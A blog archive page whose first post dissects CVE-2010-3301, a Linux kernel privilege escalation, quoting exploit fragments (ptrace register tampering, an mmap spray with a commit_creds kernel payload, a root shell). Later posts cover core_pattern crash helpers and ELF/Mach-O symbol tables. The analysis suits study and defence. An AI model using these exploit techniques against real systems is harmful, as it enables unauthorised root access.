Archive for the ‘linux’ tag
detailed explanation of a recent privilege escalation bug in linux (CVE-2010-3301)

If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
tl;dr
This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. I’ll explain what the deal is from the kernel side and the exploit side.
This article is long and technical; prepare yourself.
ia32 syscall emulation
There are two ways to invoke system calls on the Intel/AMD family of processors:
- Software interrupt
0x80. - The
sysenterfamily of instructions.
The sysenter family of instructions are a faster syscall interface than the traditional int 0x80 interface, but aren’t available on some older 32bit Intel CPUs.
The Linux kernel has a layer of code to allow syscalls executed via int 0x80 to work on newer kernels. When a system call is invoked with int 0x80, the kernel rearranges state to pass off execution to the desired system call thus maintaing support for this older system call interface.
This code can be found at http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380. We will examine this code much more closely very soon.
ptrace(2) and the ia32 syscall emulation layer
From the ptrace(2) man page (emphasis mine):
The ptrace() system call provides a means by which a parent process may observe and control the execution of another process, and examine and change its core image and registers. It is primarily used to implement break-point debugging and system call tracing.
If we examine the IA32 syscall emulation code we see some code in place to support ptrace1:
ENTRY(ia32_syscall)
/* . . . */
GET_THREAD_INFO(%r10)
orl $TS_COMPAT,TI_status(%r10)
testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%r10)
jnz ia32_tracesys
This code is placing a pointer to the thread control block (TCB) into the register r10 and then checking if ptrace is listening for system call notifications. If it is, a secondary code path is entered.
Let’s take a look2:
ia32_tracesys:
/* . . . */
call syscall_trace_enter
LOAD_ARGS32 ARGOFFSET /* reload args from stack in case ptrace changed it */
RESTORE_REST
cmpl $(IA32_NR_syscalls-1),%eax
ja int_ret_from_sys_call /* ia32_tracesys has set RAX(%rsp) */
jmp ia32_do_call
END(ia32_syscall)
Notice the LOAD_ARGS32 macro and comment above. That macro reloads register values after the ptrace syscall notification has fired. This is really fucking important because the userland parent process listening for ptrace notifications may have modified the registers which were loaded with data to correctly invoke a desired system call. It is crucial that these register values are untouched to ensure that the system call is invoked correctly.
Also take note of the sanity check for %eax: cmpl $(IA32_NR_syscalls-1),%eax
This check is ensuring that the value in %eax is less than or equal to (number of syscalls – 1). If it is, it executes ia32_do_call.
Let’s take a look at the LOAD_ARGS32 macro3:
.macro LOAD_ARGS32 offset, _r9=0 /* . . . */ movl \offset+40(%rsp),%ecx movl \offset+48(%rsp),%edx movl \offset+56(%rsp),%esi movl \offset+64(%rsp),%edi .endm
Notice that the register %eax is left untouched by this macro, even after the ptrace parent process has had a chance to modify its contents.
Let’s take a look at ia32_do_call which actually transfers execution to the system call4:
ia32_do_call:
IA32_ARG_FIXUP
call *ia32_sys_call_table(,%rax,8) # xxx: rip relative
The system call invocation code is calling the function whose address is stored at ia32_sys_call_table[8 * %rax]. That is, the (8 * %rax)th entry in the ia32_sys_call_table.
subtle bug leads to sexy exploit
This bug was originally discovered by the polish hacker “cliph” in 2007, fixed, but then reintroduced accidentally in early 2008.
The exploit is made by possible by three key things:
- The register
%eaxis not touched in theLOAD_ARGSmacro and can be set to any arbitrary value by a call toptrace. - The
ia32_do_calluses%rax, not%eax, when indexing into theia32_sys_call_table. - The
%eaxcheck (cmpl $(IA32_NR_syscalls-1),%eax) inia32_tracesysonly checks%eax. Any bits in the upper 32bits of%raxwill be ignored by this check.
These three stars align and allow an attacker cause an integer overflow in ia32_do_call causing the kernel to hand off execution to an arbitrary address.
Damnnnnn, that’s hot.
the exploit, step by step
The exploit code is available here and was written by Ben Hawkes and others.
The exploit begins execution by forking and executing two copies of itself:
if ( (pid = fork()) == 0) {
ptrace(PTRACE_TRACEME, 0, 0, 0);
execl(argv[0], argv[0], "2", "3", "4", NULL);
perror("exec fault");
exit(1);
}
The child process is set up to be traced with ptrace by setting the PTRACE_TRACEME.
The parent process enters a loop:
for (;;) {
if (wait(&status) != pid)
continue;
/* ... */
rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
if (rax == 0x000000000101) {
if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
printf("PTRACE_POKEUSER fault\n");
exit(1);
}
set = 1;
}
/* ... */
if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
printf("PTRACE_SYSCALL fault\n");
exit(1);
}
}
The parents calls wait and blocks until entry into a system call. When a system call is entered, ptrace is invoked to read the value of the rax register. If the value is 0x101, ptrace is invoked to set the value of rax to 0x800000101 to cause an overflow as we’ll see shortly. ptrace is then invoked to resume execution in the child.
While this is happening, the child process is executing. It begins by looking the address of two symbols in the kernel:
commit_creds = (_commit_creds) get_symbol("commit_creds");
/* ... */
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
/* ... */
Next, the child process attempts to create an anonymous memory mapping using mmap:
if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
/* ... */
This mapping is created at the address tmp. tmp is set earlier to: 0xffffffff80000000 + (0x0000000800000101 * 8) (stored in kern_s in main).
This value actually causes an overflow, and wraps around to: 0x3f80000808. mmap only creates mappings on page-aligned addresses, so the mapping is created at: 0x3f80000000. This mapping is 64 megabytes large (stored in size).
Next, the child process writes the address of a function called kernelmodecode which makes use of the symbols commit_creds and prepare_kernel_cred which were looked up earlier:
int kernelmodecode(void *file, void *vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
The address of that function is written over and over to the 64mb memory that was mapped in:
for (; (uint64_t) ptr < (tmp + size); ptr++)
*ptr = (uint64_t)kernelmodecode;
Finally, the child process executes syscall number 0x101 and then executes a shell after the system call returns:
__asm__("\n"
"\tmovq $0x101, %rax\n"
"\tint $0x80\n");
/* . . . */
execl("/bin/sh", "bin/sh", NULL);
tying it all together
When system call 0x101 is executed, the parent process (described above) receives a notification that a system call is being entered. The parent process then sets rax to a value which will cause an overflow: 0x800000101 and resumes execution in the child.
The child executes the erroneous check described above:
cmpl $(IA32_NR_syscalls-1),%eax
ja int_ret_from_sys_call /* ia32_tracesys has set RAX(%rsp) */
jmp ia32_do_call
Which succeeds, because it is only comparing the lower 32bits of rax (0x101) to IA32_NR_syscalls-1.
Next, execution continues to ia32_do_call, which causes an overflow, since rax contains a very large value.
call *ia32_sys_call_table(,%rax,8)
Instead of calling the function whose address is stored in the ia32_sys_call_table, the address is pulled from the memory the child process mapped in, which contains the address of the function kernelmodecode.
kernelmodecode is part of the exploit, but the kernel has access to the entire address space and is free to begin executing code wherever it chooses. As a result, kernelmodecode executes in kernel mode setting the privilege level of the process to those of init.
The system has been rooted.
The fix
The fix is to zero the upper half of eax and change the comparison to examine the entire register. You can see the diffs of the fix here and here.
Conclusions
- Reading exploit code is fun. Sometimes you find particularly sexy exploits like this one.
- The IA32 syscall emulation layer is, in general, pretty wild. I would not be surprised if more bugs are discovered in this section of the kernel.
- Code reviews play a really important part of overall security for the Linux kernel, but subtle bugs like this are very difficult to catch via code review.
- I'm not a Ruby programmer.
If you enjoyed this article, subscribe (via RSS or e-mail) and follow me on twitter.
References
an obscure kernel feature to get more info about dying processes

If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
tl;dr
This post will describe how I stumbled upon a code path in the Linux kernel which allows external programs to be launched when a core dump is about to happen. I provide a link to a short and ugly Ruby script which captures a faulting process, runs gdb to get a backtrace (and other information), captures the core dump, and then generates a notification email.
I don’t care about faults because I use monit, god, etc
Chill.
Your processes may get automatically restarted when a fault occurs and you may even get an email letting you know your process died. Both of those things are useful, but it turns out that with just a tiny bit of extra work you can actually get very detailed emails showing a stack trace, register information, and a snapshot of the process’ files in /proc.
random walking the linux kernel
One day I was sitting around wondering how exactly the coredump code paths are wired. I cracked open the kernel source and started reading.
It wasn’t long until I saw this piece of code from exec.c1:
void do_coredump(long signr, int exit_code, struct pt_regs *regs)
{
/* .... */
lock_kernel();
ispipe = format_corename(corename, signr);
unlock_kernel();
if (ispipe) {
/* ... */
Hrm. ispipe? That seems interesting. I wonder what format_corename does and what ispipe means. Following through and reading format_corename2:
static int format_corename(char *corename, long signr)
{
/* ... */
const char *pat_ptr = core_pattern;
int ispipe = (*pat_ptr == '|');
/* ... */
return ispipe;
}
In the above code, core_pattern (which can be set with a sysctl or via /proc/sys/kernel/core_pattern) to determine if the first character is a |. If so, format_corename returns 1. So | seems relatively important, but at this point I’m still unclear on what it actually means.
Scanning the rest of the code for do_coredump reveals something very interesting3 (this is more code from the function in the first code snippet above):
/* ... */
helper_argv = argv_split(GFP_KERNEL, corename+1, NULL);
/* ... */
retval = call_usermodehelper_fns(helper_argv[0], helper_argv,
NULL, UMH_WAIT_EXEC, umh_pipe_setup,
NULL, &cprm);
/* ... */
WTF? call_usermodehelper_fns? umh_pipe_setup? This is looking pretty interesting. If you follow the code down a few layers, you end up at call_usermodehelper_exec which has the following very enlightening comment:
/** * call_usermodehelper_exec - start a usermode application * * . . . * * Runs a user-space application. The application is started * asynchronously if wait is not set, and runs as a child of keventd. * (ie. it runs with full root capabilities). */
what it all means
All together this is actually pretty fucking sick:
- You can set
/proc/sys/kernel/core_patternto run a script when a process is going to dump core. - Your script is run before the process is killed.
- A pipe is opened and attached to your script. The kernel writes the coredump to the pipe. Your script can read it and write it to storage.
- Your script can attach
GDB, get a backtrace, and gather other information to send a detailed email.
But the coolest part of all:
- All of the files in
/proc/[pid]for that process remain intact and can be inspected. You can check the open file descriptors, the process’s memory map, and much much more.
ruby codez to harness this amazing code path
I whipped up a pretty simple, ugly, ruby script. You can get it here. I set up my system to use it by:
% echo "|/path/to/core_helper.rb %p %s %u %g" > /proc/sys/kernel/core_pattern
Where:
- %p –
PIDof the dying process - %s – signal number causing the core dump
- %u – real user id of the dying process
- %g – real group id of the dyning process
Why didn’t you read the documentation instead?
This (as far as I can tell) little-known feature is documented at linux-kernel-source/Documentation/sysctl/kernel.txt under the “core_pattern” section. I didn’t read the documentation because (little known fact) I actually don’t know how to read. I found the code path randomly and it was much more fun an interesting to discover this little feature by diving into the code.
Conclusion
- This could/should probably be a feature/plugin/whatever for god/monit/etc instead of a stand-alone script.
- Reading code to discover features doesn’t scale very well, but it is a lot more fun than reading documentation all the time. Also, you learn stuff and reading code makes you a better programmer.
References
Slides from Defcon 18: Function hooking for OSX and Linux
Video from Def Con 18
Defcon 18: Function hooking for OSX and Linux from Daniel Hückmann on Vimeo.
Slides
Garbage Collection and the Ruby Heap (from railsconf)
Dynamic symbol table duel: ELF vs Mach-O, round 2

If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter.
The intention of this post is to continue highlighting some of the similarities and differences between ELF and Mach-O that I encountered while building memprof. The previous post in this series can be found here.
What is a symbol table?
A symbol table is simply a list of names in an object. The names in the list may be names of functions, initialized/uninitialized memory regions, or other things depending on the object format. The symbol table does not need to be mapped into a running process and is only useful for debugging. The symbol table (and other sections) may be removed from an object when you use strip.
Symbol tables in ELF objects
An entry in the symbol table in an ELF object can best be described by the following struct from /usr/include/elf.h:
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;
In most cases, this structure is used to find the mapping from a symbol name to the address where it lives. Although, different symbol types (specified by st_info) provide mappings from symbols to other data.
The st_name field is an index into a section called strtab which is just a table of strings.
Symbol tables in Mach-O objects
Let’s take a look at the struct for a symbol table entry in a Mach-O object from /usr/include/mach-o/nlist.h:
struct nlist_64 {
union {
uint32_t n_strx; /* index into the string table */
} n_un;
uint8_t n_type; /* type flag */
uint8_t n_sect; /* section number or NO_SECT */
uint16_t n_desc; /* see */
uint64_t n_value; /* value of this symbol (or stab offset) */
};
It looks very similar. The immediately noticeable difference with ELF:
- lack of
sizefield – The only noticeable difference on your first glance is the lack of a size field. The size field in ELF objects describes the number of bytes occupied by the symbol. This is actually pretty useful, especially for memprof. The lack of this field in Mach-O was a source of frustration for Jake when he was implementing Mach-O support.
What is a dynamic symbol table?
Shared objects in both Mach-O and ELF have a symbol table listing only functions that are exporteed by the object.
This table is used during dynamic linking and is mapped into the process’ address space when the object is loaded, unlike the symbol table which is just used for debugging.
The dynamic symbol table is a subset of the symbol table.
Dynamic symbol table in ELF objects
The dynamic symbol table in ELF objects is stored in a section named dynsym. The indexes stored in the st_name field (from the structure listed above) are indexes into the string table in a section named dynstr. dynstr is a string table specifically for entries in the dynamic symbol table.
If you know the symbol you care about, you can simply calculate a hash of the symbol name to find the symbol table entry for that symbol. Unfortunately, there is not very much documentation about the hash function that is to be used.
Your two options are:
- You’ll need to either read the source for binutils,
- check out a useful post on a mailing list.
The sections storing the hash table data for an object are called .hash and .gnu.hash.
Dynamic symbol table in Mach-O objects
Finding the dynamic symbol table in a Mach-O object is a bit complicated. The pieces to the puzzle are found across different structures and the documentation on how it all works is sparse.
Mach-O objects have a load command called LC_DYSYMTAB which describes information about the dynamic symbol table in Mach-O objects.
I’ve shortened the structure definition, as it is quite large and contains documentation about stuff that is not directly relevant to this post. From /usr/include/mach-o/loader.h:
struct dysymtab_command {
uint32_t cmd; /* LC_DYSYMTAB */
uint32_t cmdsize; /* sizeof(struct dysymtab_command) */
/* .... */
/*
* The sections that contain "symbol pointers" and "routine stubs" have
* indexes and (implied counts based on the size of the section and fixed
* size of the entry) into the "indirect symbol" table for each pointer
* and stub. For every section of these two types the index into the
* indirect symbol table is stored in the section header in the field
* reserved1. An indirect symbol table entry is simply a 32bit index into
* the symbol table to the symbol that the pointer or stub is referring to.
* The indirect symbol table is ordered to match the entries in the section.
*/
uint32_t indirectsymoff; /* file offset to the indirect symbol table */
uint32_t nindirectsyms; /* number of indirect symbol table entries */
/* .... */
};
The LC_DYSYMTAB load command provides the fields indirectsymoff and nindirectsyms which describe the offset into the file where the indirect symbol tables lives and the number of entries in the table, respectively.
The dynamic symbol table in Mach-O is surprisingly simple. Each entry in the table is just a 32bit index into the symbol table. The dynamic symbol table is just a list of indexes and nothing else.
It turns out there are a few more pieces to the puzzle.
Take a look at the definition for a Mach-O section:
struct section_64 { /* for 64-bit architectures */
char sectname[16]; /* name of this section */
char segname[16]; /* segment this section goes in */
uint64_t addr; /* memory address of this section */
uint64_t size; /* size in bytes of this section */
uint32_t offset; /* file offset of this section */
uint32_t align; /* section alignment (power of 2) */
uint32_t reloff; /* file offset of relocation entries */
uint32_t nreloc; /* number of relocation entries */
uint32_t flags; /* flags (section type and attributes)*/
uint32_t reserved1; /* reserved (for offset or index) */
uint32_t reserved2; /* reserved (for count or sizeof) */
uint32_t reserved3; /* reserved */
};
It turns out that the fields reserved1 and reserved2 are useful too.
If a section_64 structure is describing a symbol_stub or __la_symbol_ptr sections (read the previous post to learn about these sections), then the reserved1 field hold the index into the dynamic symbol table for the sections entries in the table.
symbol_stub sections also make use of the reserved2 field; the size of a single stub entry is stored in reserved2 otherwise, the field is set to 0.
Two notable differences between the dynamic symbol tables
- There is an explicit section in
ELFthat containsElf64_Symentries. OnMach-Oit’s just a list of 32bit offsets. ELFprovides a.hashsection and/or.gnu_hashsection to speed up symbol lookup.Mach-Odoes not.
What happens when you run strip?
Let’s use strip with no options (other than the filename).
On ELF:
- All
.debug_*sections are removed. These sections contain extra debugging information that helps debuggers figure out more precisely what went wrong. .symtabsection is removed..strtabsection is removed.
On Mach-O:
- Only undefined symbols and dynamic symbols are left in the symbol table. Everything else is removed.
How to strip so I can debug later (linux only)
If you decide to strip your binary please be considerate to future hackers who may need to debug your app for some reason.
You can be considerate by following the directions in strip(1):
1. Link the executable as normal. Assuming that is is called
“foo” then…2. Run “objcopy –only-keep-debug foo foo.dbg” to
create a file containing the debugging info.3. Run “objcopy –strip-debug foo” to create a
stripped executable.4. Run “objcopy –add-gnu-debuglink=foo.dbg foo”
to add a link to the debugging info into the stripped executable.
And don’t forget to put your debugging information somewhere easily accessible and googleable.
If you do this: you are cool. If you don’t…
Conclusion
- I like the way ELF does dynamic symbol tables, the
gnu_debuglinksection, and the lookup hash table for dynamic symbols. All of these pieces are really useful and I am glad they exist. - The indirect symbol table was a bit of a pain to track down on
Mach-Oas the information is hard to parse on the first pass. To be fair, it is all there if you google around a bit and put the pieces together. - On Linux, if you strip, please add a
gnu_debuglinksection and put the debug information somewhere I can find it.
Thanks for reading and don’t forget to subscribe (via RSS or e-mail) and follow me on twitter.

